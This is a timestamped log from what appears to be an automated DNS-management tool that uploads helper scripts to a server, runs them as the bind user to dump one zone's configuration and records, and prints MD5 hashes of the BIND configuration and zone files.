runuser -l bind -s /bin/bash -c '/tmp/pkp106994; rm /tmp/pkp106994'

2026-05-15 18:58:11: 
2026-05-15 18:58:11: 

PUT: /tmp/pkp564739

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf')
    show_file('/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-15 18:58:11: 

chmod 755 /tmp/pkp564739; /tmp/pkp564739; rm /tmp/pkp564739

2026-05-15 18:58:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf	211
# this is an automatically created file: manual changes will be overwritten.
zone "stoughton.link" IN {
  ##owner 4;
  type master;
  file "3d2ec12df06edc90dfcd3e90b9defc61.txt";
    allow-update { none; };

};


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt	973
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
stoughton.link.          		 IN    SOA      	stoughton.link. hostmaster.stoughton.link. ( 125287097 14400 3600 14400 3600 )
@                         86400	 IN    NS       	curitiba.porkbun.com.
@                         86400	 IN    NS       	fortaleza.porkbun.com.
@                         86400	 IN    NS       	maceio.porkbun.com.
@                         86400	 IN    NS       	salvador.porkbun.com.
@                         600	 IN    A        	94.177.8.99
*                         600	 IN    CNAME    	stoughton.link
_acme-challenge          		 IN    TXT      	"Q9ljT9-pB5OqXK5zFR7dz4ZYYqAJRSl4TiI1DVkeAto"
_acme-challenge          		 IN    TXT      	"BX3qQYPko5NbHVoMnrqerY3k_AjUfhzd6OVYonR8pMQ"
home                      600	 IN    A        	173.48.93.56
list                      600	 IN    A        	46.102.157.159
testing                   60	 IN    A        	8.8.4.4






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-15 18:58:34: Establishing a connection
2026-05-15 18:58:34: 

PUT: /tmp/pkp970252

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-15 18:58:35: 

runuser -l bind -s /bin/bash -c '/tmp/pkp970252; rm /tmp/pkp970252'

2026-05-15 18:58:35: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
